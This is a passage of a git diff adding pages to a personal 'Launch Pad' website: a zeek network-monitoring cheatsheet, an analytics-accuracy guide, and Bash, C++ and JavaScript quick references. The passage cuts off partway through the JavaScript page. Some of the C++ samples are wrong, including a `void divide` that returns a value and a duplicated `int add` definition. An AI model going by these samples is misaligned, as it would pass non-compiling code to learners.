      +  { on = [ "p" ], run = "paste", desc = "Paste files" },
      +  { on = [ "d" ], run = "remove", desc = "Delete files" },
      +  { on = [ "r" ], run = "rename", desc = "Rename file" },
      +  { on = [ "n" ], run = "create", desc = "Create file" },
      +  { on = [ "N" ], run = "create --dir", desc = "Create directory" },
      +  { on = [ "/" ], run = "search", desc = "Search files" },
      +  { on = [ "f" ], run = "filter", desc = "Filter files" },
      +  { on = [ "t" ], run = "tab_create", desc = "Create tab" },
      +  { on = [ "q" ], run = "tab_close", desc = "Close tab" },
      +]
      +
      +

      Tips

      +
        +
      • Use :help for help
      • +
      +
        +
      • Use :config to open config file
      • +
      +
        +
      • Use :theme to change theme
      • +
      +
        +
      • Use Ctrl+c to cancel operations
      • +
      +
        +
      • Use Esc to clear search/filter
      • +
      +
        +
      • Use Space to select multiple files
      • +
      +
        +
      • Use y then p to copy and paste files
      • +
      +
        +
      • Use x then p to cut and paste files
      • +
      +
        +
      • Use / to search files quickly
      • +
      +
        +
      • Use f to filter files
      • +
      +
        +
      • Use t to create new tabs
      • +
      +
        +
      • Use Tab to switch between panes
      • +
      +
        +
      • Use . to toggle hidden files
      • +
      +
        +
      • Use gg and G for quick navigation
      • +
      +
        +
      • Use ~ to go to home directory
      • +
      +
        +
      • Use - to go to previous directory
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/zeek.html b/cheatsheets/zeek.html new file mode 100644 index 0000000..b3a5b1d --- /dev/null +++ b/cheatsheets/zeek.html @@ -0,0 +1,211 @@ + + + + + + + + + + + zeek Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      zeek Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      zeek (formerly Bro) is a network security monitor and analysis framework.

      +
      +

      Basic Usage

      +
        +
      • zeek -r <pcap> - Analyze a pcap file
      • +
      +
        +
      • zeek -i <interface> - Monitor live traffic on interface
      • +
      +
        +
      • zeek -i <interface> -C - Monitor live traffic (ignore checksum errors)
      • +
      +
        +
      • zeek <script> - Run zeek script
      • +
      +
      +

      zeekctl Commands

      +
        +
      • zeekctl start - Start all nodes
      • +
      +
        +
      • zeekctl stop - Stop all nodes
      • +
      +
        +
      • zeekctl restart - Restart all nodes
      • +
      +
        +
      • zeekctl status - View node status
      • +
      +
        +
      • zeekctl deploy - Check, install, and restart zeek
      • +
      +
        +
      • zeekctl check - Syntax-check configs without restarting
      • +
      +
        +
      • zeekctl top - Monitor resource usage across nodes
      • +
      +
        +
      • zeekctl netstats - Show network statistics
      • +
      +
        +
      • zeekctl diag - Run diagnostics
      • +
      +
        +
      • zeekctl cron - Enable/disable cron jobs
      • +
      +
      +

      Command Line Options

      +
        +
      • -r <file> - Read from pcap file
      • +
      +
        +
      • -i <interface> - Capture from interface
      • +
      +
        +
      • -C - Ignore checksum errors (useful for NIC offloading)
      • +
      +
        +
      • -f <filter> - Apply BPF filter
      • +
      +
        +
      • -w <file> - Write output to file
      • +
      +
        +
      • -b - Run in bare mode (minimal scripts)
      • +
      +
        +
      • -s <script> - Load script file
      • +
      +
        +
      • -p <plugin> - Load plugin
      • +
      +
      +

      Configuration

      +

      Config File Locations

      +
        +
      • /usr/local/zeek/etc/node.cfg - Node configuration
      • +
      +
        +
      • /usr/local/zeek/etc/networks.cfg - Network configuration
      • +
      +
        +
      • /usr/local/zeek/etc/zeekctl.cfg - zeekctl configuration
      • +
      +
        +
      • /usr/local/zeek/share/zeek/site/local.zeek - Local scripts
      • +
      +
        +
      • /opt/zeek/etc/ - Alternative install location
      • +
      +

      Example node.cfg

      +
      [zeek]
      +type=standalone
      +host=localhost
      +interface=eth0
      +

      Example networks.cfg

      +
      10.0.0.0/8          Private IP Space
      +172.16.0.0/12       Private IP Space
      +192.168.0.0/16      Private IP Space
      +
      +

      Log Files

      +
        +
      • conn.log - Connection logs
      • +
      +
        +
      • http.log - HTTP logs
      • +
      +
        +
      • dns.log - DNS logs
      • +
      +
        +
      • ssl.log - SSL/TLS logs
      • +
      +
        +
      • files.log - File analysis logs
      • +
      +
        +
      • Logs stored in: /usr/local/zeek/logs/current/
      • +
      +
      +

      Tips

      +
        +
      • Use zeek -C when listening on interfaces where checksum offloading causes invalid checksums
      • +
      +
        +
      • Always test configs with zeekctl check before deploying
      • +
      +
        +
      • Use the UID field from conn.log to correlate across logs (HTTP, DNS, etc.)
      • +
      +
        +
      • After changing config files or scripts, use zeekctl deploy to apply changes
      • +
      +
        +
      • Use zeekctl status, top, netstats for monitoring runtime status
      • +
      +
        +
      • Enable JSON logs using LogAscii::use_json=T for integration with logging pipelines
      • +
      +
        +
      • Logs are organized by date under logs/current/ and older ones under dated subfolders
      • +
      +
        +
      • Make use of zeek's plugin/package manager zkg for easy extension
      • +
      +
        +
      • Use BPF filters to reduce processing load on high-traffic networks
      • +
      +
        +
      • Custom scripts can extend zeek's analysis capabilities
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/docs/ANALYTICS_ACCURACY.md b/docs/ANALYTICS_ACCURACY.md new file mode 100644 index 0000000..f8f4721 --- /dev/null +++ b/docs/ANALYTICS_ACCURACY.md @@ -0,0 +1,143 @@ +# Analytics Accuracy Guide + +## How to Verify Analytics Accuracy + +Run the verification script to check for discrepancies: + +```bash +php /var/www/verify-analytics.php [YYYY-MM-DD] +``` + +If no date is provided, it checks today's data. + +## Current Accuracy Issues Found + +### 1. **Returning Visitor Count Bug** ⚠️ +The summary shows incorrect returning visitor counts. The script counts unique returning visitors, but the summary logic appears flawed. + +**Impact**: Returning visitor numbers are inflated. + +### 2. **RSS Click Tracking** +RSS clicks are tracked in two ways: +- Button clicks on the page (tracked via JavaScript) +- Actual RSS feed fetches (tracked via PHP in `feed.php`) + +**Impact**: RSS numbers may be double-counted or inconsistent. + +### 3. **No Bot Filtering** +Bot traffic (search engines, crawlers) is currently counted as regular visitors. + +**Impact**: Numbers may be inflated by 10-30% depending on site popularity. + +### 4. **Ad Blockers** +Users with ad blockers may block the analytics script entirely. + +**Impact**: Numbers may be deflated by 5-15% (depending on user base). + +### 5. **Self-Visits** +Your own visits are not filtered out. + +**Impact**: Development/testing visits inflate numbers. + +### 6. **Duplicate Pageviews** +Same visitor, same page, within 5 seconds = potential duplicate. + +**Impact**: Rapid navigation or page refreshes create duplicates. + +### 7. **New vs Returning Logic** +Currently only checks within the same day. A visitor who came yesterday but returns today is counted as "new" again. + +**Impact**: Returning visitor counts are inaccurate across days. + +## Factors Affecting Accuracy + +### ✅ What IS Tracked Accurately: +- Pageview timestamps (hourly breakdown is recalculated from raw data) +- Share counts (when JavaScript executes) +- Reaction counts (stored separately, very accurate) + +### ⚠️ What May Be Inaccurate: +- **Total visits**: May include bots, duplicates, self-visits +- **New vs Returning**: Only accurate within same day +- **RSS clicks**: May have double-counting issues +- **Unique visitors**: Uses localStorage, can be cleared/blocked + +## Recommendations to Improve Accuracy + +### 1. **Filter Bot Traffic** +Add bot detection in `track.php`: +```php +// Check user agent for bots +$ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; +$isBot = preg_match('/bot|crawler|spider|scraper/i', $ua); +if ($isBot) { + // Skip tracking or mark as bot +} +``` + +### 2. **Filter Self-Visits** +Add your IP(s) to a blocklist in `track.php`: +```php +$yourIPs = ['YOUR_IP_HERE', 'ANOTHER_IP']; +if (in_array($_SERVER['REMOTE_ADDR'], $yourIPs)) { + // Skip tracking +} +``` + +### 3. **Fix Returning Visitor Logic** +Store visitor history across days, not just within the same day. + +### 4. **Deduplicate Rapid Pageviews** +Add a cooldown period (e.g., same visitor + same page + <10 seconds = ignore). + +### 5. **Separate RSS Tracking** +Distinguish between: +- RSS button clicks (user intent) +- RSS feed fetches (automatic, may be bots) + +## Understanding Your Numbers + +### Realistic Accuracy Range +- **Pageviews**: ±15-25% (due to bots, ad blockers, duplicates) +- **Unique Visitors**: ±20-30% (localStorage can be cleared/blocked) +- **Shares**: ±5% (very accurate, requires JavaScript) +- **Reactions**: ±1% (very accurate, stored server-side) + +### What the Numbers Mean +- **Total Visits**: All page loads, including bots and duplicates +- **New Visitors**: First-time visitors today (not lifetime) +- **Returning Visitors**: Visitors who visited earlier today (not yesterday) +- **Hourly Breakdown**: Accurate (recalculated from timestamps) + +## Best Practices + +1. **Run verification script regularly** to catch discrepancies +2. **Focus on trends** rather than absolute numbers +3. **Compare with server logs** for validation +4. **Filter your own IP** for more accurate numbers +5. **Monitor for anomalies** (sudden spikes may be bots) + +## Quick Accuracy Check + +```bash +# Check today's data +php /var/www/verify-analytics.php + +# Check specific date +php /var/www/verify-analytics.php 2025-12-28 + +# Look for: +# - Discrepancies between summary and raw data +# - High bot counts +# - Duplicate pageviews +# - Rapid-fire visits +``` + +## Expected Accuracy + +For a typical personal blog: +- **Pageviews**: 70-85% accurate (after accounting for bots/ad blockers) +- **Unique Visitors**: 60-75% accurate (localStorage limitations) +- **Engagement** (shares/reactions): 95%+ accurate + +The analytics are **good enough for trends and general insights**, but don't rely on exact numbers for critical decisions. diff --git a/favicon.ico b/favicon.ico new file mode 100755 index 0000000000000000000000000000000000000000..15f07d4b611bc0443c7d7f1ddc45cb1dcc304094 GIT binary patch literal 4286 zcmc(iOH30%7{|vDg9oF=7)`v$#YE#lF9M=Lpe=1_7b;k2mxvg&ir|BXR8U0mtsx>r zV_y=L__`QlG)6R%;DbdH4|-9fG4X~6JsN|4&bMWz+esJQRs}NMo!9^OecwEnkZJTk zBZJ^Cxju)G`Gk-qG|?iGM-!H-f3$9BRy0Km2myekQ{Ut28JJShNVacy#4Cjr?|Yg) zMHIP;x-l(TEhGIx&nuQj6z_e?1#Jo`-oc1cvD}E3k+$Jy?zxd+`7C9QYq`SvkFX+N z4h?%37}1`rZD7)r&F zO6Tu5VtwDRyqGd?rodJ0=)Ug;Iu@7)f+OB#B1g=hd+eSWQsje_`z={^*X=Uceb@?a zc@6BOPmRuZoIiaptLKPZ%txMh7Sgt3n)ceh{QbgE1?)TTgqqz2P_Z#rO*IV#aP+DR zYFjN}%3Z0Z_1-lQeCFZ(G`eHR5^cbBrD>C>9~=lu;Bc9Wx#qx_Dr#M$P&m9Xn0kIKPOl+Ek?-457su#o55FC>nE5&yTgn7JOVXRSZgb@{xma?4tE zt#{vB&&#$nnc~{BzDD>Pe0i##-I^VzwV$p*78koU3wj>JY_k<+sdaKqZd{*K__(HU zFGG#q0XNufQ3l$8wlHmcqCHrSG0~Q@cO(95_mtDO%2XRrm-&ukz;y9>=58$h+x)4= zzq7BHvwV9@fOCwoaqi(9)bh9bWAg>qhPIBq8}T1w?kdXx6WwoGdmMmkjPXT%90#@s zx=M5O_Fu#M&#`MR*xqIV+*=qM_nh$a==#QS@im(`8*Mmz#g))^jDZpVSghgLU7rt|XsV<8;*tImzCIa8=b7;Q#q$vF24Tf>g7)M054=N^tjmGg zHZvT*;rdfXqWFK0jCcZpQSUtQ>=pBP|B5J{J2>~nJy*x4L_A*hr}r<>j*0u{>tvV{ zecsZ0uv^qMlAp@^x7N<7`u@<`fbY0=^uE7>Bk~Hd{lCgbzdt=6=s5q^?@z5if93o8 uX9vLeB7m>60S41(gbDm4q~jYQi#`&PK1fJfDhV}E3pG(&WgrWgl>G}VMXD|U literal 0 HcmV?d00001 diff --git a/index.html b/index.html new file mode 100644 index 0000000..e5516c3 --- /dev/null +++ b/index.html @@ -0,0 +1,101 @@ + + + + + + + + + + + + Launch Pad + + + + gemini:// + + + .onion + + +

      +
      + __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
      +
      +

         +

      +
      + +
      +
      +

      Consume

      + Music + Kick + Videos + Streams +
      + +
      +

      Create

      + Ardour + Blender + Inkscape + Krita +
      + +
      +

      Extras

      + Calls + Cloud + Email + Git +
      +
      +


      + + + + + + + diff --git a/quickref/bash.html b/quickref/bash.html new file mode 100644 index 0000000..9b368c2 --- /dev/null +++ b/quickref/bash.html @@ -0,0 +1,286 @@ + + + + + + + + + + + Bash Quickstart Reference - Quick Reference - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
      +
      +
      + + + +

      Bash Quickstart Reference

      +
      +
      +
      +
      +
      +
      +

      ← Back to quick reference

      +

      ← Home

      +
      +

      Quick reference guide for Bash. Essential syntax, control flow, variables, arrays, and common patterns for shell scripting.

      +
      +

      Hello World

      +
      #!/bin/bash
      +echo "Hello, World!"  # The shebang tells the system which interpreter to use
      +
      +

      Variables

      +
      name="Alice"          # No spaces around =; quotes protect spaces
      +x=42                  # Numbers are strings until you do math
      +readonly PI=3.14      # Make variable read-only
      +unset name            # Delete variable
      +
      +echo $name            # Access with $ prefix
      +echo ${name}          # Braces are safer for variable expansion
      +echo "${name}_suffix" # Use braces when concatenating
      +
      +

      Control Flow

      +

      If/Else

      +
      if [ $x -gt 10 ]; then    # [ ] requires spaces; -gt means "greater than"
      +    echo "x is big"
      +else
      +    echo "x is small"
      +fi
      +
      +# Comparison operators: -eq, -ne, -lt, -le, -gt, -ge
      +# String comparison: =, !=, -z (empty), -n (non-empty)
      +
      +if [ -f "file.txt" ]; then    # -f checks if file exists
      +    echo "File exists"
      +elif [ -d "dir" ]; then       # -d checks if directory exists
      +    echo "Directory exists"
      +fi
      +

      For Loops

      +
      for i in 1 2 3 4 5; do
      +    echo $i
      +done
      +
      +for i in {1..5}; do           # Brace expansion: 1 to 5
      +    echo $i
      +done
      +
      +for file in *.txt; do         # Iterate over files
      +    echo "Processing $file"
      +done
      +
      +for ((i=0; i<5; i++)); do     # C-style for loop
      +    echo $i
      +done
      +

      While Loops

      +
      while [ $x -gt 0 ]; do
      +    echo $x
      +    x=$((x - 1))              # Arithmetic expansion
      +done
      +
      +# Read file line by line
      +while IFS= read -r line; do
      +    echo "$line"
      +done < file.txt
      +

      Case Statement

      +
      case $choice in
      +    "1")
      +        echo "Option 1"
      +        ;;
      +    "2"|"two")
      +        echo "Option 2"
      +        ;;
      +    *)
      +        echo "Default case"
      +        ;;
      +esac
      +
      +

      Functions

      +
      function greet() {
      +    local name=$1              # $1 is first argument; local limits scope
      +    echo "Hello, $name!"
      +}
      +
      +greet "Alice"                  # Call function
      +
      +# Alternative syntax
      +add() {
      +    local a=$1
      +    local b=$2
      +    return $((a + b))         # Return exit code (0-255)
      +}
      +
      +add 2 3
      +result=$?                     # $? is exit code of last command
      +
      +

      Arrays

      +
      fruits=("apple" "banana" "cherry")  # Declare array
      +fruits[3]="date"                     # Add element
      +echo ${fruits[0]}                    # Access element (apple)
      +echo ${fruits[@]}                    # All elements
      +echo ${#fruits[@]}                   # Array length
      +
      +for fruit in "${fruits[@]}"; do      # Iterate over array
      +    echo $fruit
      +done
      +
      +

      Strings

      +
      text="Hello, World!"
      +echo ${#text}                  # String length
      +echo ${text:0:5}               # Substring: start at 0, length 5 ("Hello")
      +echo ${text/World/Bash}        # Replace first match ("Hello, Bash!")
      +echo ${text//l/L}              # Replace all matches
      +echo ${text#Hello, }           # Remove shortest prefix match
      +echo ${text##Hello, }          # Remove longest prefix match
      +echo ${text% World!}           # Remove shortest suffix match
      +echo ${text%% World!}          # Remove longest suffix match
      +
      +

      Input / Output

      +
      read name                      # Read user input
      +echo "Enter your name: "
      +read -p "Name: " name         # Prompt and read in one line
      +read -s password              # Silent input (for passwords)
      +read -a array                 # Read into array
      +
      +echo "Hello"                  # Print to stdout
      +echo -n "No newline"          # -n suppresses newline
      +printf "Value: %d\n" 42       # Formatted output
      +
      +

      Command Substitution

      +
      date=$(date)                  # Capture command output (modern syntax)
      +date=`date`                   # Backticks (older syntax, less preferred)
      +files=$(ls *.txt)             # List of files
      +count=$(wc -l < file.txt)     # Line count
      +
      +# Process substitution
      +diff <(sort file1.txt) <(sort file2.txt)
      +
      +

      File Operations

      +
      # File tests
      +[ -f "file.txt" ]             # File exists and is regular file
      +[ -d "dir" ]                  # Directory exists
      +[ -r "file.txt" ]             # File is readable
      +[ -w "file.txt" ]             # File is writable
      +[ -x "file.txt" ]             # File is executable
      +[ -s "file.txt" ]             # File exists and is not empty
      +
      +# Reading files
      +while IFS= read -r line; do
      +    echo "$line"
      +done < file.txt
      +
      +# Writing files
      +echo "content" > file.txt     # Overwrite
      +echo "content" >> file.txt   # Append
      +
      +

      Arithmetic

      +
      x=10
      +y=5
      +
      +# Arithmetic expansion
      +result=$((x + y))             # Addition
      +result=$((x - y))             # Subtraction
      +result=$((x * y))             # Multiplication
      +result=$((x / y))             # Division
      +result=$((x % y))             # Modulo
      +result=$((x ** 2))            # Exponentiation
      +
      +# Increment/decrement
      +((x++))                       # Post-increment
      +((++x))                       # Pre-increment
      +((x--))                       # Decrement
      +
      +

      Error Handling

      +
      set -e                        # Exit on error
      +set -u                        # Exit on undefined variable
      +set -o pipefail               # Exit on pipe failure
      +
      +# Trap errors
      +trap 'echo "Error occurred"' ERR
      +
      +# Check command success
      +if command; then
      +    echo "Success"
      +else
      +    echo "Failed"
      +fi
      +
      +# Check exit code
      +command
      +if [ $? -eq 0 ]; then
      +    echo "Success"
      +fi
      +
      +

      Tips

      +
        +
      • Always quote variables to prevent word splitting: "$var" not $var.
      • +
      +
        +
      • Use [[ ]] instead of [ ] for more features and fewer surprises (Bash 4+).
      • +
      +
        +
      • Use local in functions to avoid polluting global scope.
      • +
      +
        +
      • Test file existence with -f (file) or -d (directory) before operations.
      • +
      +
        +
      • Use $(( )) for arithmetic; it's safer than expr.
      • +
      +
        +
      • Prefer $(command) over backticks for command substitution.
      • +
      +
        +
      • Use read -r to prevent backslash interpretation when reading lines.
      • +
      +
        +
      • Set IFS= when reading to preserve leading/trailing whitespace.
      • +
      +
        +
      • Use set -e at the start of scripts to exit on errors (unless you handle them explicitly).
      • +
      +
        +
      • Always start scripts with #!/bin/bash (or appropriate shebang) for portability.
      • +
      +
        +
      • Use ${var:-default} to provide default values: name=${1:-"World"}.
      • +
      +
        +
      • Check if a command exists before using it: +
        if command -v git &> /dev/null; then
        +    git --version
        +fi
        +
      • +
      +
      +
      +
      +
      + + + + + diff --git a/quickref/cpp.html b/quickref/cpp.html new file mode 100644 index 0000000..f9bb0f0 --- /dev/null +++ b/quickref/cpp.html @@ -0,0 +1,396 @@ + + + + + + + + + + + C++ Quickstart Reference - Quick Reference - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      C++ Quickstart Reference

      +
      +
      +
      +
      +
      +
      +

      ← Back to quick reference

      +

      ← Home

      +
      +

      Quick reference guide for C++. Essential syntax, memory management, STL containers, and common patterns for systems programming.

      +
      +

      Hello World

      +
      #include <iostream>
      +
      +int main() {
      +    std::cout << "Hello, World!" << std::endl;  // Standard output
      +    return 0;
      +}
      +
      +

      Variables

      +
      int x = 42;                 // integer
      +double pi = 3.14;           // floating point
      +std::string name = "Alice"; // string class
      +bool flag = true;           // boolean
      +char c = 'A';               // character
      +
      +// Type modifiers
      +unsigned int u = 100;       // Unsigned
      +long long big = 1000000;    // Long integer
      +float f = 3.14f;            // Single precision
      +
      +// Auto type deduction (C++11)
      +auto y = 42;                // Compiler infers int
      +auto text = "Hello";        // Compiler infers const char*
      +
      +
      +

      Control Flow

      +

      If/Else

      +
      if (x > 10) {
      +    std::cout << "x is big\n";
      +} else {
      +    std::cout << "x is small\n";
      +}
      +
      +if (x > 10) {
      +    std::cout << "big\n";
      +} else if (x > 5) {
      +    std::cout << "medium\n";
      +} else {
      +    std::cout << "small\n";
      +}
      +
      +// Ternary operator
      +int result = (x > 10) ? 100 : 0;
      +
      +

      Switch

      +
      switch (x) {
      +    case 10:
      +        std::cout << "ten\n";
      +        break;
      +    case 20:
      +        std::cout << "twenty\n";
      +        break;
      +    default:
      +        std::cout << "other\n";
      +}
      +
      +

      For Loops

      +
      // Traditional for loop
      +for (int i = 0; i < 5; i++) {
      +    std::cout << i << "\n";
      +}
      +
      +// Range-based for loop (C++11)
      +int nums[] = {1, 2, 3};
      +for (int n : nums) {
      +    std::cout << n << "\n";
      +}
      +
      +std::vector<int> vec = {4, 5, 6};
      +for (int n : vec) {
      +    std::cout << n << "\n";
      +}
      +
      +// With auto
      +for (auto n : vec) {
      +    std::cout << n << "\n";
      +}
      +
      +

      While Loops

      +
      while (x > 0) {
      +    x--;
      +    std::cout << x << "\n";
      +}
      +
      +// Do...while
      +do {
      +    x--;
      +} while (x > 0);
      +
      +
      +

      Functions

      +
      int add(int a, int b) {
      +    return a + b;
      +}
      +
      +std::cout << add(2, 3) << "\n";
      +
      +// Function overloading
      +int add(int a, int b) {
      +    return a + b;
      +}
      +
      +double add(double a, double b) {
      +    return a + b;
      +}
      +
      +// Default parameters
      +void greet(std::string name = "World") {
      +    std::cout << "Hello, " << name << "\n";
      +}
      +
      +// Pass by reference
      +void increment(int& x) {
      +    x++;
      +}
      +
      +// Pass by pointer
      +void setValue(int* ptr, int value) {
      +    *ptr = value;
      +}
      +
      +
      +

      Arrays / Vectors

      +

      Arrays

      +
      int nums[] = {1, 2, 3};               // Fixed-size array
      +int arr[5] = {1, 2, 3, 4, 5};         // Explicit size
      +
      +for (int n : nums) {
      +    std::cout << n << "\n";
      +}
      +
      +// Array size
      +int size = sizeof(nums) / sizeof(nums[0]);
      +
      +

      Vectors

      +
      #include <vector>
      +
      +std::vector<int> vec = {4, 5, 6};     // Dynamic array
      +vec.push_back(7);                     // Add to end
      +vec.pop_back();                        // Remove from end
      +vec.size();                            // Size
      +vec[0];                                // Access by index
      +vec.at(0);                             // Safe access (throws if out of bounds)
      +
      +// Iterate
      +for (auto it = vec.begin(); it != vec.end(); ++it) {
      +    std::cout << *it << "\n";
      +}
      +
      +// Range-based for
      +for (int n : vec) {
      +    std::cout << n << "\n";
      +}
      +
      +

      Other STL Containers

      +
      #include <string>
      +#include <map>
      +#include <set>
      +#include <unordered_map>
      +
      +// String
      +std::string str = "Hello";
      +str.length();
      +str += " World";
      +str.substr(0, 5);
      +
      +// Map
      +std::map<std::string, int> person;
      +person["age"] = 30;
      +person["name"];  // Access (creates if doesn't exist)
      +
      +// Set
      +std::set<int> numbers = {1, 2, 3};
      +numbers.insert(4);
      +numbers.find(2);  // Returns iterator
      +
      +// Unordered map (hash map)
      +std::unordered_map<std::string, int> hash_map;
      +hash_map["key"] = 42;
      +
      +
      +

      Input

      +
      std::string input_name;
      +std::cout << "Enter your name: ";
      +std::cin >> input_name;              // Whitespace-delimited
      +std::cout << "Hello " << input_name << "\n";
      +
      +// Full line input
      +std::string full_line;
      +std::cout << "Enter a line: ";
      +std::getline(std::cin, full_line);    // Reads entire line
      +std::cout << "You entered: " << full_line << "\n";
      +
      +// Number input
      +int number;
      +std::cout << "Enter a number: ";
      +std::cin >> number;
      +std::cout << "You entered: " << number << "\n";
      +
      +
      +

      Pointers & References

      +
      int x = 42;
      +int* ptr = &x;           // Pointer to x
      +int& ref = x;            // Reference to x
      +
      +*ptr = 100;               // Dereference pointer
      +ref = 200;                // Modify through reference
      +
      +// Null pointer
      +int* null_ptr = nullptr;  // C++11 (prefer over NULL)
      +
      +// Dynamic allocation (avoid if possible)
      +int* dynamic = new int(42);
      +delete dynamic;           // Must delete what you new
      +
      +// Smart pointers (preferred)
      +#include <memory>
      +std::unique_ptr<int> smart = std::make_unique<int>(42);
      +// Automatically deleted when out of scope
      +
      +
      +

      Classes

      +
      class Person {
      +private:
      +    std::string name;
      +    int age;
      +
      +public:
      +    // Constructor
      +    Person(std::string n, int a) : name(n), age(a) {}
      +    
      +    // Getter
      +    std::string getName() const {
      +        return name;
      +    }
      +    
      +    // Setter
      +    void setAge(int a) {
      +        age = a;
      +    }
      +    
      +    // Method
      +    void greet() const {
      +        std::cout << "Hello, I'm " << name << "\n";
      +    }
      +};
      +
      +Person person("Alice", 30);
      +person.greet();
      +
      +
      +

      File Operations

      +
      #include <fstream>
      +
      +// Reading
      +std::ifstream file("file.txt");
      +std::string line;
      +while (std::getline(file, line)) {
      +    std::cout << line << "\n";
      +}
      +file.close();
      +
      +// Writing
      +std::ofstream out("file.txt");
      +out << "Hello, World!\n";
      +out.close();
      +
      +// Check if file opened
      +if (file.is_open()) {
      +    // File operations
      +} else {
      +    std::cerr << "Failed to open file\n";
      +}
      +
      +
      +

      Error Handling

      +
      #include <stdexcept>
      +
      +// Throwing exceptions
      +void divide(int a, int b) {
      +    if (b == 0) {
      +        throw std::runtime_error("Division by zero");
      +    }
      +    return a / b;
      +}
      +
      +// Catching exceptions
      +try {
      +    int result = divide(10, 0);
      +} catch (const std::exception& e) {
      +    std::cerr << "Error: " << e.what() << "\n";
      +}
      +
      +
      +

      Tips

      +
        +
      • Always prefer stack allocation (int x;) over new/delete unless necessary.
      • +
      +
        +
      • If you must allocate dynamically, use smart pointers (std::unique_ptr, std::shared_ptr) to avoid leaks.
      • +
      +
        +
      • Remember to #include necessary headers (<iostream>, <vector>, <string>).
      • +
      +
        +
      • Use RAII (Resource Acquisition Is Initialization) to manage resources safely.
      • +
      +
        +
      • std::cin input is whitespace-delimited; use std::getline() for full lines.
      • +
      +
        +
      • Watch for buffer overflows with arrays; prefer std::vector or std::string.
      • +
      +
        +
      • C++ variables are strongly typed; type conversions are explicit.
      • +
      +
        +
      • Use const for values that shouldn't change; const correctness is important.
      • +
      +
        +
      • Prefer range-based for loops (for (auto x : container)) when possible.
      • +
      +
        +
      • Use auto for type deduction when the type is obvious from context.
      • +
      +
        +
      • Initialize variables; uninitialized variables contain garbage values.
      • +
      +
        +
      • Use references (&) instead of pointers when you don't need null or reassignment.
      • +
      +
        +
      • Prefer standard library containers (std::vector, std::string) over C-style arrays.
      • +
      +
        +
      • Use nullptr instead of NULL or 0 for null pointers (C++11).
      • +
      +
      +
      +
      +
      + + + + + diff --git a/quickref/index.html b/quickref/index.html new file mode 100644 index 0000000..d57d2dd --- /dev/null +++ b/quickref/index.html @@ -0,0 +1,63 @@ + + + + + + + + + + + Quick Reference - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
      +
      +
      + + + +

      Quick Reference

      +
      +
      +
      +

      + Quick reference guides for programming languages and frameworks.
      + Syntax, examples, and common patterns at a glance. +

      + +
      +
      +

      Bash

      +

      Quickstart reference for Bash. Essential syntax, control flow, variables, arrays, and common patterns for shell scripting.

      +
      +
      +

      Python

      +

      Quickstart reference for Python. Syntax, control flow, data structures, and essential tips.

      +
      +
      +
      + + + + diff --git a/quickref/javascript.html b/quickref/javascript.html new file mode 100644 index 0000000..b12c32c --- /dev/null +++ b/quickref/javascript.html @@ -0,0 +1,414 @@ + + + + + + + + + + + JavaScript Quickstart Reference - Quick Reference - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      JavaScript Quickstart Reference

      +
      +
      +
      +
      +
      +
      +

      ← Back to quick reference

      +

      ← Home

      +
      +

      Quick reference guide for JavaScript. Essential syntax, control flow, data structures, and common patterns for web development and Node.js.

      +
      +

      Hello World

      +
      console.log("Hello, World!");  // Basic output
      +
      +

      Variables

      +
      let x = 42;            // Mutable variable
      +const name = "Alice";   // Immutable
      +let flag = true;        // Boolean
      +var old = "deprecated"; // Avoid var, use let/const
      +
      +// Multiple declarations
      +let a = 1, b = 2, c = 3;
      +
      +// Destructuring
      +let [x, y] = [1, 2];
      +let {name, age} = {name: "Alice", age: 30};
      +
      +
      +

      Control Flow

      +

      If/Else

      +
      if (x > 10) {
      +    console.log("x is big");
      +} else {
      +    console.log("x is small");
      +}
      +
      +if (x > 10) {
      +    console.log("big");
      +} else if (x > 5) {
      +    console.log("medium");
      +} else {
      +    console.log("small");
      +}
      +
      +// Ternary operator
      +let result = x > 10 ? "big" : "small";
      +
      +// Switch
      +switch (x) {
      +    case 10:
      +        console.log("ten");
      +        break;
      +    case 20:
      +        console.log("twenty");
      +        break;
      +    default:
      +        console.log("other");
      +}
      +
      +

      For Loops

      +
      // Traditional for loop
